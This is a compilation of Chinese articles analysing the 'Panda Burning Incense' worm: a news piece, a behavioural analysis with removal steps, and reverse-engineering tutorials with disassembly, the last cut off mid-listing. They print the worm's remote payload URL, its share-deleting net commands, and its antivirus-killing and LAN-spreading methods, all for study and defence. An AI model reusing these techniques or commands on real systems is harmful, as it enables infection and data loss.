烧香”病毒就被查杀干净了。总体来看,似乎这个“熊猫病毒”的查杀过程并不困难,那为什么当时那么多人被感染了却毫无办法呢?原因大概有两个:一是当时大众的计算机技术水平整体偏低,别说进入后台运行CMD命令杀掉进程了,很多人连进程管理器都不了解;二是作者使用的“360安全卫士11版”是2016年才推出的版本,用来杀一个将近10年前的病毒肯定效果不错的。病毒并未远去,只是更加隐蔽这么看来,“熊猫烧香”的肆虐一方面是这个病毒本身非常强大也很狡猾,另一方面当时的大众防毒意识和水平确实也很低。14年之后的今天,人们的计算机技术水平大幅提高了,杀毒软件也越来越强大了,那我们就安全了吗?显然不是,病毒并没有消失,只是更加隐蔽了。李俊当时开发“熊猫烧香”病毒,和几个同伙一起才盈利十几万元,他们自己也承认,搞出“熊猫烧香”并不是为了赚钱,而是为了“炫技”。因此,“熊猫烧香”跟今天的病毒木马造成的危害完全不能相比,今天的病毒木马,大多是看不见的威胁(尽一切可能潜伏并获得经济利益),病毒感染规模远超熊猫烧香的比比皆是,非法收入更是动辄千万元级别。比如2017年WannaCry的爆发,就再次给全球提了个醒,至少有99个国家的其他目标在同一时间遭到WanaCrypt0r 2.0的攻击(截至2018年,已有大约150个国家遭到攻击),一些国家的政府部门和企业还被勒索了比特币。所以说,该打补丁的打补丁,该装杀毒软件的装杀毒软件,要牢记,来自网络的安全威胁一直都潜伏在我们周围。原标题:《YouTube博主实测病毒之王“熊猫烧香”,当年是它太强还是杀毒软件太弱?》阅读原文 特别声明本文为澎湃号作者或机构在澎湃新闻上传并发布,仅代表该作者或机构观点,不代表澎湃新闻的观点或立场,澎湃新闻仅提供信息发布平台。申请澎湃号请用电脑访问http://renzheng.thepaper.cn。+1收藏我要举报#病毒软件查看更多查看更多开始答题扫码下载澎湃新闻客户端Android版iPhone版iPad版关于澎湃加入澎湃联系我们广告合作法律声明隐私政策澎湃矩阵澎湃新闻微博澎湃新闻公众号澎湃新闻抖音号IP SHANGHAISIXTH TONE新闻报料报料热线: 021-962866报料邮箱: news@thepaper.cn沪ICP备14003370号沪公网安备31010602000299号互联网新闻信息服务许可证:31120170006增值电信业务经营许可证:沪B2-2017116© 2014-2024 上海东方报业有限公

分析经典病毒熊猫烧香 - 知乎

分析经典病毒熊猫烧香 - 知乎切换模式写文章登录/注册分析经典病毒熊猫烧香看雪看雪,为IT专业人士、技术专家提供了一个民间交流与合作空间。参考书籍:《VC++反汇编与逆向分析技术揭秘》《姜晔病毒木马实战查杀》1. 样本概况1.1 样本信息病毒名称:panda.exe 文件大小:61952 bytesMD5值:3520D3565273E41C9EEB04675D05DCA8SHA1值:BB1D8FA7EE4E59844C1FEB7B27A73F9B47D36A0ACRC32:23B6DA2A病毒行为:复制自身、感染PE文件、覆写PE文件、修改注册表自启动、枚举进程、结束杀软进程、删除安全软件相关启动项。1.2 测试环境及工具火绒剑、OD、IDA、MD5工具、Win71.3 分析目标分析此病毒的恶意行为2. 具体行为分析2.1 主要行为病毒的主要行为分三部分:第一部分(自我保护与自我复制):复制自身到系统目录、双击被感染程序可以检测判断spclosv.exe是否存在,从被感染的文件分裂出病毒程序重新执行第二部分(感染部分):感染全盘(本地)、定时器感染全盘(本地)、局域网感染(联网)第三部分(病毒自我保护):设置注册表、停止杀软、网站下载代码并执行2.1.1 恶意程序对用户造成的危害(图)❶ 病毒复制自身到系统目录下名字为spcolsv.exe❷ 每个目录下生成Desktop_.ini(记录日期)文件❸ 感染全盘二进制文件与脚本文件❹ 将病毒Svcshare设置开机自启动Run❺ 盘符根目录下生成setup.exe与autorun.inf文件2.2 恶意代码分析2.2.1 病毒主逻辑对比字符串是否相等,不相等则退出2.2.2 病毒自我复制与自我保护分析详解❶ 遍历进程找到病毒进程(spcolsv.exe)就退出并结束掉❷ CopyFile到系统目录(C:\Windows\System32\drivers),然后就运行程序(spcolsv.exe)❸ 如果是病毒自身工作就完成了,假设是被感染程序就会额外执行一段代码❹ 感染后程序头五个字节都是Whboy并且结尾都带数字❺ 将源文件和病毒文件分离出来❻ 创建批处理文件功能是判断spclosv.exe是否存在,从被感染的文件分裂出病毒程序重新执行。Path (C:\User\15PB-W~1\AppData\Local\Temp\75$$.bat)2.2.3 病毒感染全盘分析详解病毒感染全盘分三方式感染分别为:全盘感染(本地)、建立计时器感染(本地)、局域网感染(需要网络支持)▶ 第一种全盘感染(本地)详解:❶ 遍历磁盘,找出存在的盘符并保存❷ 排除特殊文件夹,进行感染操作递归遍历目录所有文件,并生成文件❸ 删除系统备份文件.GHO❹ 如果是文件则进行感染,感染的文件类型分两种:第一类:exe、scr、pif、com(40800C)部分代码分析:判断感染程序是否进行,不是继续将要感染的程序内容写入内存判断感染程序是否有WhBoy字符,有就说明被感染了panda.exe内容直接覆盖到要感染程序(此时是61KB)被感染文件的内容和病毒文件融为一体第二类:htm、html、asp、php、jsp、aspx网页感染:主要将字符串()添加到文件末尾。▶ 第二种定时器感染方式(本地):❶ 创建一个定时器每隔6000MS启动一次0x40C0B8函数❷ 判断盘符根目录setup.exe、aoturun.inf文件是否存在,不存在就创建▶ 第三种局域网感染方式:❶ TCP客户端建立❷ 当病毒发现能成功联接攻击目标的139或445端口后,匹配管理员弱密码,连接成功复制自身病启动激活病毒。(因为服务器之类无法连接这里我自己也只能大概分析不是很详细就不贴图了)。2.2.4 病毒自身保护分析详解病毒创建了四个定时器:▶ 先分析第一个定时器(1秒触发一次)40CD30函数❶ 将病毒Svcshare设置开机自启动Run❷ 设置不显示文件隐藏(让用户无法显示隐藏文件)❸ 添加特权❹ 遍历到杀软就关闭❺ 结束进程(任务管理器之类的)▶ 分析第二个定时器(20分钟触发一次)40CE8C函数❶ 从http://wangma.9966.org/down.txt网站读取到网页源代码并且运行代码▶ 分析第三个定时器(10秒触发一次)40CE94函数调用如下命令来删除共享:cmd.exe /c net share C$ /del /ycmd.exe /c net share A$ /del /ycmd.exe /c net share admin$ /del /y▶ 分析第四个计时器(6秒触发一次)407540函数删除服务、删除安全软件相关启动项3. 解决方案(或总结)3.1 提取病毒特征,体用杀毒软件查杀特征包括:http://wangma.9966.org/down.txt3.2 手工查杀步骤/工具查杀步骤/差啥思路等删除【C:\Windows\System32\drivers\spcolsv.exe】文件删除【HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run】键项的svcshare删除每个盘符根目录下生成两个文件【autorun.inf和setup.exe】文件设置【HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL】,CheckedValue的键值设置为1(显示隐藏文件)致谢15PB对本人学习上的帮助本文由看雪论坛 黑手鱼 原创,转载请注明来自看雪社区发布于 2017-08-01 18:11熊猫烧香计算机病毒反汇编​赞同 75​​5 条评论​分享​喜欢​收藏​申请

[系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化 - 知乎

[系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化 - 知乎首发于系统安全与恶意代码分析切换模式写文章登录/注册[系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化eastmount​无知 · 乐观 · 谦逊 · 低调 · 生活初来知乎分享,还请各位大佬多多包涵。系统安全系列作者将深入研究恶意样本分析、逆向分析、攻防实战和Windows漏洞利用等,通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步。如果你想成为一名逆向分析或恶意代码检测工程师,或者对系统安全非常感兴趣,就必须要认真分析一些恶意样本。熊猫烧香病毒就是一款非常具有代表性的病毒,当年造成了非常大的影响,并且也有一定技术手段。本文将详细讲解熊猫烧香的行为机理,并通过软件对其功能行为进行分析,这将有助于我们学习逆向分析和反病毒工作。后续作者还将对其进行逆向调试,以及WannaCry勒索蠕虫、各种恶意样本及木马的分析。基础性文章,希望您喜欢!IDA和OD作为逆向分析的“倚天剑和“屠龙刀”,学好它们的基本用法至关重要。本文重点分析熊猫烧香病毒的功能函数,大家掌握这些技巧后才能更好地分析更多的代码。同时,本文部分实验参考姜晔老师的视频分析,真的非常佩服和值得去学习的一位老师。技术路上哪有享乐,为了提升安全能力,别抱怨,干就对了~话不多说,让我们开始新的征程吧!您的点赞、评论、收藏将是对我最大的支持,感恩安全路上一路前行,如果有写得不好或侵权的地方,可以联系我删除。基础性文章,希望对您有所帮助,作者目的是与安全人共同进步,加油~文章目录:一.实验背景二.PEiD加壳检查三.IDA静态分析和OD动态分析四.总结作者的github资源:逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study前文分析:[系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向[系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例[系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战[系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向破解[系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏[系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制[系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向[系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及防御详解[系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御[系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现[系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析[系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)一.实验背景对病毒进行逆向分析,可以彻底弄清楚病毒的行为,从而采取更有效的针对手段。为了节省篇幅,在这里我不打算将“熊猫烧香”进行彻底的分析,只会讲解一些比较重要的部分,大家只要掌握了这些思想,那么就可以处理很多的恶意程序了。这里主要使用的工具包括:PEiD:病毒加壳、脱壳基础性分析IDA Pro:静态分析OllyDbg:动态分析实验文件:setup.exe:熊猫烧香病毒基本流程:利用查壳工具检查病毒是否带壳利用OD动态分析病毒利用IDA静态分析病毒注意:由于OD工具会将程序运行起来,所以我们在进行恶意代码分析时尽量在搭建好的虚拟机中操作。如果病毒传播性较强如WannaCry,建议断开网络和断开共享分析。二.PEiD加壳检查我们在分析病毒之前,首先需要调用工具检查是否带壳,如果病毒还需要先进行脱壳操作。这次研究的“熊猫烧香”程序并没有加壳,但后续的文章我会详细分享加壳与脱壳的内容,更好地帮助大家理解病毒分析及保护措施。首先打开PEiD工具人,然后将熊猫烧香病毒拖进去,会发现病毒的基本信息。分析信息如下:该程序并没有加壳,采用Delphi Borland Delphi 6.0-7.0编写注意,这里补充姜老师对Delphi编写代码和VC++编写代码的理解。区别:Delphi在函数调用时参数的传递不完全用栈,主要用寄存器。而C++程序函数调用前会使用push语句将参数入栈,然后再进行call。Delphi一般将第一个参数放入eax寄存器,第二个参数放入edx,第三个参数放入ecx寄存器,其余参数按照与VC程序类似的方式压栈。总之,Delphi编译器默认以register方式传递函数参数。这一点与VC编译的程序完全不同。提示:栈上给局部变量分配空间的时候,栈是向下增长的,而栈上的数组、字符串、结构体等却是向上增长的。理解这一点可以帮助识别栈上的变量。三.IDA静态分析和OD动态分析当我们完成病毒样本的检测后,接下来就需要使用反汇编工具进行分析了。1.基本载入第一步,使用IDA Pro载入病毒样本。下图为Delphi自己生产的内容,并不是我们关心的重点。我们更关心病毒程度的功能代码,本文主要讲解病毒的关键函数。第二步,定位到0x0040CB7E位置,发现这两个call是调用了同一个函数sub_403C98。0x0040CB7Esub_403C98注意:某些病毒在IDA中会自动分析出字符串“感谢艾玛…”,并且是在调用sub_403C98函数之前,我们可以推测上面那个函数也传递了一个字符串。接着可以通过OD动态调试获取字符串对应的值。但是,我目前的IDA并没有自动解析出字符串的值,只能通过经验进行分析或OD动态调试。我们发现EBP是堆栈基址,接近着两次调用sub_403C98函数,前面的mov赋值经过是参数传递的工作,从而猜测出它的功能是:参数传递给函数调用。2.sub_403C98函数分析第三步,调用OD进行动态分析,查看sub_403C98函数调用前传递的参数。0x0040CB79sub_403C98打开OD如上图所示,我们需要定位到0x0040CB79位置。直接按F8执行代码(单步步过),当执行到0x0040CB79位置可以看到对应的值为“武汉男生感染下载者”。当然某些OD不会显示该值,只会显示“0040CC40=setup.0040CC40”,此时需要我们进一步在数据窗口跟随。数据窗口右键->转到->表达式接着输入“40CC40”,查找传递参数对应的值。显示结果如下图所示,可以看到“武汉男生感染下载者”,包括“艾玛…”,这就是病毒作者的信息。早些年病毒作者处于炫耀目的,都会加入一些自己的特征。同样,现在APT攻击溯源也会通过文件路径等获取病毒作者的信息。0x0040CC40第四步,分析病毒程序利用00403C98函数做了什么。call 00403C98接着在这个位置(0x0040CB7E)按下F2增加断点,然后按F9执行过来,按下F7进入call函数,进入的函数如下图所示。接着按F7执行,遇到call 00403D08继续按下F7进入,再进入call 00402520,继续进入。call 00403D08call 00402520call dword ptr ds:[0x40D030]call 00401860当进入call 00401860函数后,我们分析这里的两个API函数,它是对互斥空间进行初始化。00401876 . E8 39F9FFFF call 004011B4 ;InitializeCriticalSection00401889 . E8 2EF9FFFF call 004011BC ;EnterCriticalSection我们继续按下F8单步步过执行往下分析,发现在0x004018B3位置调用LocalAlloc函数,该函数用于内存分配。它会分配大小为FF8的空间,Flags为LMEM_FIXED表示分配一个固定的内存。该函数执行结果会返回一个指向新分配的内存对象的句柄。LocalAlloc写到这里,基本就确定了这个call 00403D08的功能,即分配一定大小的内存空间。我们已经进入了好几层Call,那怎么返回的呢?接下来我们再回到IDA进行分析。第五步,打开IDA进入sub_403C98函数。0x0040CB7E call sub_403C98整个sub_403C98函数由两个函数组成,刚才我们所进入的是第一个call sub_403D08的位置,并且分析了其功能是分配一定大小的空间。接着我们尝试分析下一个函数sub_402650。0x00403CB3 call sub_402650接着记住这个地址“403CB3”,我们回到OD进行动态调试分析其功能。转到->表达式->输入403CB3显示结果如下图所示,然后我们按下F2增加断点,再按F9执行程序至此处,继续按下F7单步进入该函数。第六步,分析sub_402650函数的功能。上一步最终显示结果如下图所示,需要注意的是REP位置。按下F8单步步过执行至0x0040267D位置。0x0040267D rep movs dword ptr es:[edi],dword ptr ds:[esi]注意,该REP是将ESI指向地址的值以4字节方式拷贝到EDI指向的地址中。下图展示了ESI和EDI,重执行ECX次,每次执行后ESI+4、EDI+4、ECX-1,OD中在这段代码中下断后按F7单步步入就可以观察到这3个寄存器的变化。ecx=00000008 (十进制 8.)ds:[esi]=[0040CC5C]=2A2A2ADFes:[edi]=[021C0028]=00000000我们先看看它复制的内容是什么,选择ESI右键“数据窗口钟跟随地址”。ESI显示“武汉男生”信息,所要复制的空间是EDI为空白空间。按下F8运行后发现该空间被赋值“武汉男生”。写到这里,基本确定了sub_402650函数功能就是字符串的复制。总结,Sub_403C98主要包括两个函数,其对应功能如下:sub_403D08:分配内存空间sub_402650:字符串拷贝功能同时,我们可以在IDA中对sub_403C98进行重命名操作,命名为“AllocStackAndCopyString”。重命名能将整个程序中该函数进行修改,便于我们理解及分析整个病毒。sub_403C98函数有两个参数,由于采用的是Delphi编译器,因此在反汇编中,第一个参数保存在eax中,第二个参数保存在edx中。这个函数首先完成堆空间的申请,然后将edx中保存的字符串复制到新申请的空间中。这个函数在最初赋值的时候,eax的值均为0,而在执行后,eax中保存的就是新申请的堆空间中,所复制的字符串的首地址。为了易于观察,我把IDA Pro中的sub_403C98重命名为AllocStackAndCopyString。下面补充一段姜老师的注释,对大家逆向分析和汇编理解很有帮助。CODE:00403C98 sub_403C98 proc near ; CODE XREF: sub_403ED4+8j

CODE:00403C98 ; sub_403F18+6j ...

CODE:00403C98 test edx, edx

; 对edx进行验证,这里的test相当于and,不同的是test只进行比较,而不会将结果保存

; 在edx中。由于edx保存的是病毒作者所编写的一段字符串,因此这里的结果一定是非0的。

CODE:00403C9A jz short loc_403CC0

; 由于上一条语句的结果是非0的,因此这条跳转语句并不会被执行到。

CODE:00403C9C mov ecx, [edx-8]

; 利用OD进行动态分析可知,[edx-8]是将edx-8这个地址中的值取出来,赋给ecx,那么赋值

; 完以后,ecx的值为0x0FFFFFFFF。

CODE:00403C9F inc ecx

; ecx自增1,那么ecx的值就变为了0x0,注意这个自增的运算会使得ZF的值变为1。

CODE:00403CA0 jg short loc_403CBC

; 这里的jg表明不大于则跳转。或者更准确地说,其跳转条件是SF=OF且ZF=0。由于经过上一步

; 的运算,ZF=1,因此本跳转不成立。

CODE:00403CA2 push eax

CODE:00403CA3 push edx

CODE:00403CA4 mov eax, [edx-4]

; 经过赋值后,eax中保存的值为0x20。

CODE:00403CA7 call sub_403D08

; 结合OD在虚拟机中进行动态分析,进入一层又一层的调用可以得知,这个CALL主要是调用了

; LocalAlloc函数,它从堆中分配大小为0xFF8的空间,函数参数uFlags=0,即

; LMEM_FIXED,意思是分配固定内存,返回值是指向一个内存对象的指针。LocalAlloc函数

; 如果执行成功则返回一个指向新分配的内存对象的句柄。

CODE:00403CAC mov edx, eax

CODE:00403CAE pop eax

CODE:00403CAF push edx

CODE:00403CB0 mov ecx, [eax-4]

CODE:00403CB3 call sub_402650

; 结合OD在虚拟机中进行动态分析,这个CALL的主要功能是将之前保存在edx中的字符串(病

; 毒信息与作者感言)拷贝到上面所分分配的堆空间中。如图5所示。

CODE:00403CB8 pop edx

CODE:00403CB9 pop eax

CODE:00403CBA jmp short loc_403CC03.sub_405360函数分析第七步,继续从0x0040CB92位置往下分析,将该地址复制到OD中动态调试。操作如下:转到->表达式->输入“40CB92”按下F2增加断点按下F9执行,将代码调试到该位置然后按F8单步执行,可以看到0x0040CB9A存储的值,某些情况还需要去数据窗口跟随。数据窗口右键->转到->表达式->输入40CCA4可以发现在“40CCA4”位置保存了一段字符串,它可能是一段乱码,目前无法分析它的含义。继续按下F8执行到0x0040CB9F,按下F7进入函数。0x0040CB9F call 00405360进入后先简单浏览下这个函数,发现后续有一个粗线循环,我们在0x004053CC下个断点跳转到这个循环处,并进入循环。F2按下在0x004053CC处增加断点F9执行到循环处F8进入循环按下F8单步执行代码,此时发现字符串“xboy”,我们暂时不知道它是做什么的。接着继续按下F8调试,发现它将字母“b”赋值给了EAX,我们怀疑它跟“xboy”有关。接下来的代码分析如下:MOV ECX, 0xA将常量“A”赋值给ECX。通常存在两种可能性,一种可能是ECX作为循环的此时,即可能循环A次;另一种可能是EXC作为一个运算的除数。XOR EDX, EDX异或操作将自身清空。DIV ECX可以发现它是一个除法操作,除数即为ECX。结果显示如下图所示,除法的商EAX为9,余数EDX为8。通常除法有两种可能,要么获取EAX的商值,要么获取余数EDX的内容。那么这个程序究竟需要哪一个值呢?MOVX eax, byte ptr ds:[eax+ebx-0x1]该语句将值赋给EAX,所以上述程序做除法的目的是获取EDX这个值。接着在数据窗口中跟随地址,查看这个值保存的是什么内容。输出结果如下图所示,它是刚才我们发现的乱码,暂时还不知道它的具体作用。继续按下F8执行程序。XOR EDX, EAXEDX和EAX异或操作,其值保存在EDX中,即除法的余数EDX和乱码EAX进行异或操作。继续按下F8单步走,在0x00405408处出现了个地址,我们在数据窗口中跟随数值。发现这个结果是“2A”,该值正式刚才异或出来的EDX结果。接着我们尝试在下列两个位置增加断点。0x004053E80x00405408接着按下F9运行,查看输出的结果,分析如下:将“xboy”的第三个字母“o”取出解密数据窗口新增很多内容,完成字符串拷贝反复继续按F9调试,发现它依次获取“xboy”中的值,再进行异或操作。小结:最终解密的值如下图所示,“武汉男生感染下载者”逐渐出现。sub_405360函数我们在IDA中重命名为“DecodeString”,即解密字符串。补充汇编代码:CODE:004053D1 loc_4053D1: ; CODE XREF: sub_405360+B5 j

CODE:004053D1 mov eax, [ebp+var_14]

CODE:004053D4 call sub_403ECC

CODE:004053D9 push eax

CODE:004053DA mov eax, ebx

CODE:004053DC pop edx

CODE:004053DD mov ecx, edx

CODE:004053DF cdq

CODE:004053E0 idiv ecx

CODE:004053E2 mov edi, edx

CODE:004053E4 inc edi

CODE:004053E5 mov eax, [ebp+var_14]

CODE:004053E8 movzx eax, byte ptr [eax+edi-1]

; 每次循环逐字节取出“xboy”中的字符进行运算,注意这里首先取出的是“b”。

CODE:004053ED mov ecx, 0Ah

; 将ecx赋值为0x0A,作为接下来除法运算的除数。

CODE:004053F2 xor edx, edx

; 清空edx。

CODE:004053F4 div ecx

; 做除法运算,商保存在eax中,余数保存在edx中。

CODE:004053F6 mov eax, [ebp+var_4]

; 这里由于给eax重新赋值,说明程序实际想使用的是edx中的余数。

CODE:004053F9 movzx eax, byte ptr [eax+ebx-1]

; 每次循环逐字节取出乱码中的字符,赋值给eax进行接下来的运算。

CODE:004053FE xor edx, eax

; 异或运算,结果保存在edx中,也就是通过运算最终得出的字符。

CODE:00405400 lea eax, [ebp+var_18]

CODE:00405403 call sub_403E2C

CODE:00405408 mov edx, [ebp+var_18]

CODE:0040540B lea eax, [ebp+var_10]

CODE:0040540E call sub_403ED4

CODE:00405413 inc ebx

CODE:00405414 dec esi

CODE:00405415 jnz short loc_4053D14.sub_404018函数分析第八步,继续分析sub_404018函数的功能。记住地址0x0040CBA4,复制到OD中进行调试。首先取消刚才解密的两个断点,然后跟随表达式“40CBA4”,在该位置按下F2增加断点,然后F9执行过来。首先看到两条赋值语句,将值赋给EDX和EAX中,由于这个程序是使用Delphi编写,所以在call之前会将参数放到寄存器中,我们首先看看EDX中的内容。在数据窗口中跟随数值,发现它们都是“武汉男生感染下载者”。注意第一个是我们刚才解密出来的内容。0040CBA4 . 8B55 EC mov edx,dword ptr ss:[ebp-0x14]0040CBA7 . A1 D4E74000 mov eax,dword ptr ds:[0x40E7D4]接着按下F8执行,再按F7进入Call 0040018函数。大致浏览该函数后,发现又存在一个循环,我们的重点就是分析该循环,按下F2增加断点,再按F9执行过来。0x00404041在数据窗口中跟随,发现ECX和EBX就是刚才所说的两个参数,一个是原始的“武汉男生感染下载者”,另外一个是解密之后的“武汉男生感染下载者”。再按F8发现这个函数比较两个字符串是否相同的操作。CMP ECX, EBX总结:回到IDA,我们将函数sub_404018重命名为字符串比较函数“CMPString”。5.loc_40CBBC功能分析第九步,分析loc_40CBBC功能。继续往下看,发现只要CMPString两个字符串相同,就会跳转到loc_40CBBC的位置。继续分析发现这里同样存在字符串解密和字符串比较的操作,并且解密字符编程了武汉男孩(whboy),这里不再进行解读。解密比较成功之后,继续跳转到loc_40CBE6的位置。这里看到了三个call函数,它们又是什么功能呢?这三个call是熊猫烧香病毒最重要的功能,我们下一篇论文继续分析。四.总结写到这里,熊猫烧香病毒起始阶段的逆向分析就介绍完毕,简单总结如下:0x0040CB7E call sub_403C98– 重命名为:AllocStackAndCopyString– sub_403D08:分配内存空间– sub_402650:字符串拷贝功能0x0040CB9F call sub_00405360– 重命名为:DecodeString– 0x004053CC:循环入口点– 0x004053E8:获取“xboy”解密字符– 0x00405408:完成异或解密操作0x0040CBAC call sub_404018– 重命名为:CMPString– 0x00404041:循环入口点– 功能:字符串比较“武汉男生感染下载者”0x0040CBCC loc_40CBBC– 功能:字符串解密和比较操作,解密字符“whboy”– DecodeString– CMPString后续会继续分析熊猫烧香病毒的核心功能三个函数,正如姜老师所说“由于反汇编代码总会出现各种调用与跳转,所以分析时会显得很是凌乱,可能会打消大家的积极性。但也可以看见逆向分析工作需要各位读者的耐心与细致,需要大家沉得住气,不断跟踪每一个可疑的CALL;需要大家时刻留意寄存器中的内容,才能够找到我们需要的信息。当然经验也是非常重要的。” 再次感谢姜老师的分享,真的受益匪浅,也希望自己不断深入,真正能在逆向分析和恶意代码中学到东西,加油!学安全一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全和系统安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,深知自己很菜,得努力前行。编程没有捷径,逆向也没有捷径,它们都是搬砖活,少琢磨技巧,干就对了。什么时候你把攻击对手按在地上摩擦,你就赢了,也会慢慢形成了自己的安全经验和技巧。加油吧,少年希望这个路线对你有所帮助,共勉。希望我的文章能陪伴你成长,希望在技术路上不断前行。文章如果对你有帮助、有感悟,就是对我最好的回报,且看且珍惜!刚来知乎分享,还请各位大佬多多指教,大神请飘过,希望能分享更好的知识。(By:Eastmount 2022-04-26 夜于火星)参考文献:姜晔老师真的非常佩服和值得去学习,希望自己和大家的技术能不断提升,加油![1] [网络安全自学篇] 木马原理详解、远程服务器IPC $漏洞及木马植入实验[2] 姜晔老师的技术空间目录 - CSDN[3] 腾讯安全联合实验室 - 知乎文章[4] [网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解[5] 姜晔老师技术分享 - B站[6] [网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看[7] [安全攻防进阶篇] 八.那些年的熊猫烧香及PE病毒行为机理分析[8] [网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制源码详解[9] https://blog.csdn.net/ioio_jy/article/details/41207265发布于 2022-05-27 09:39IDA计算机病毒逆向工程​赞同 10​​2 条评论​分享​喜欢​收藏​申请转载​文章被以下专栏收录系统安全与恶意代码分析感恩遇见,不负青春,且看

[原创]熊猫烧香病毒逆向过程及其分析思路 - 知乎

[原创]熊猫烧香病毒逆向过程及其分析思路 - 知乎切换模式写文章登录/注册[原创]熊猫烧香病毒逆向过程及其分析思路看雪看雪,为IT专业人士、技术专家提供了一个民间交流与合作空间。本文为看雪论坛优秀文章看雪论坛作者ID:码小芹前言最近学校通知不开学,网课也不想上。学习逆向也有段时间了,就想着找点东西练一下水平不高。找了个病毒分析一比较经典的病毒分析。我看网上有很多关于熊猫烧香病毒的分析,但都是侧重于对病毒功能以及影响的总结,具体分析方法并未提及。本文主要侧重于对熊猫烧香病毒逆向分析过程中的思路和方法的分享基本信息动态分析分析工具以及环境 OD

PEID

VMware xp虚拟机

详细分析过程与思路查看文件基本信息在虚拟机中用PEID打开病毒样本文件发现其无壳并且是Delphi编写的,Delphi编译器编译的程序有几个特点。第一: 其函数默认调用约定为Register,特点为函数参数是通过寄存器传入的。第二: 一般Delphi其字符串存储地址的负偏移一个dword长度处,存放字符串的长度。打开OD载入病毒样本文件来到程序入口点后我们进行进一步分析,我们看到入口点处有 函数① 和 函数②,其中函数②连续调用了三次。我们F8向下执行,并分别进入两个函数分析其功能。进入函数①我们发现其主要功能就是调用GetModuleHandleA()获得程序基地址(及程序实例句柄)向下继续分析函数②,在调用函数②时我们发现其传入了两个参数,我们在数据窗口中分析发现参数有一个为一串字符串:“ ***武*汉*男*生*感*染*下*载*者*** ". 我们F7进入函数内部分析发现其就时将eax参数地址下的字符串进行复制所以我们知道了这三个参数是字符串复制函数,F8向下步过这些函数后。他们把字符串都复制到了一块连续的内存中。我们可以在数据窗口中观察这些字符的内容。我们接着往下分析,发现两段相同的代码段,只是参数不同。也就是当程序执行完函数0x405360和函数0x404018后如果je不成立则结束进程(猜测应该为病毒程序的自效验部分)。我们分别进入连个函数分析。我们先分析函数0x405360,函数的两个参数分别指向两个字符串一个是“xboy”,另一个如下。将这连个字符串经过如下算法加密后得到一个字符串为“ ***武*汉*男*生*感*染*下*载*者*** "存到0x009000c0地址处00405360 /$ 55 push ebp

00405361 |. 8BEC mov ebp,esp

00405363 |. 83C4 E8 add esp,-0x18

00405366 |. 53 push ebx

00405367 |. 56 push esi

00405368 |. 57 push edi

00405369 |. 33DB xor ebx,ebx

0040536B |. 895D E8 mov [local.6],ebx

0040536E |. 895D F0 mov [local.4],ebx

00405371 |. 895D EC mov [local.5],ebx

00405374 |. 894D F4 mov [local.3],ecx

00405377 |. 8955 F8 mov [local.2],edx

0040537A |. 8945 FC mov [local.1],eax

0040537D |. 8B45 FC mov eax,[local.1]

00405380 |. E8 37EDFFFF call 004040BC

00405385 |. 8B45 F8 mov eax,[local.2]

00405388 |. E8 2FEDFFFF call 004040BC

0040538D |. 33C0 xor eax,eax

0040538F |. 55 push ebp

00405390 |. 68 4A544000 push 0x40544A

00405395 |. 64:FF30 push dword ptr fs:[eax]

00405398 |. 64:8920 mov dword ptr fs:[eax],esp

0040539B |. 837D FC 00 cmp [local.1],0x0

0040539F |. 75 0A jnz X004053AB

004053A1 |. 8B45 F4 mov eax,[local.3]

004053A4 |. E8 9BE8FFFF call 00403C44

004053A9 |. EB 77 jmp X00405422

004053AB |> 8D45 EC lea eax,[local.5]

004053AE |. 8B55 F8 mov edx,[local.2]

004053B1 |. E8 26E9FFFF call 00403CDC

004053B6 |. 8D45 F0 lea eax,[local.4]

004053B9 |. E8 86E8FFFF call 00403C44

004053BE |. 8B45 FC mov eax,[local.1]

004053C1 |. E8 06EBFFFF call 00403ECC ; strlen(字符串1)

004053C6 |. 8BF0 mov esi,eax ; esi = eax

004053C8 |. 85F6 test esi,esi ; if(esi == 0)

004053CA |. 7E 4B jle X00405417 ; break

004053CC |. BB 01000000 mov ebx,0x1 ; ebx = 1

004053D1 |> 8B45 EC /mov eax,[local.5] ; do{

004053D4 |. E8 F3EAFFFF |call 00403ECC ; strlen(字符串2)

004053D9 |. 50 |push eax

004053DA |. 8BC3 |mov eax,ebx ; eax = ebx

004053DC |. 5A |pop edx ; edx = eax

004053DD |. 8BCA |mov ecx,edx ; ecx = edx

004053DF |. 99 |cdq

004053E0 |. F7F9 |idiv ecx ; edx = eax % ecx

004053E2 |. 8BFA |mov edi,edx ; edi = edx

004053E4 |. 47 |inc edi ; edi++

004053E5 |. 8B45 EC |mov eax,[local.5]

004053E8 |. 0FB64438 FF |movzx eax,byte ptr ds:[eax+edi-0x1] ; eax = str1[edi - 1]

004053ED |. B9 0A000000 |mov ecx,0xA ; ecx = 10

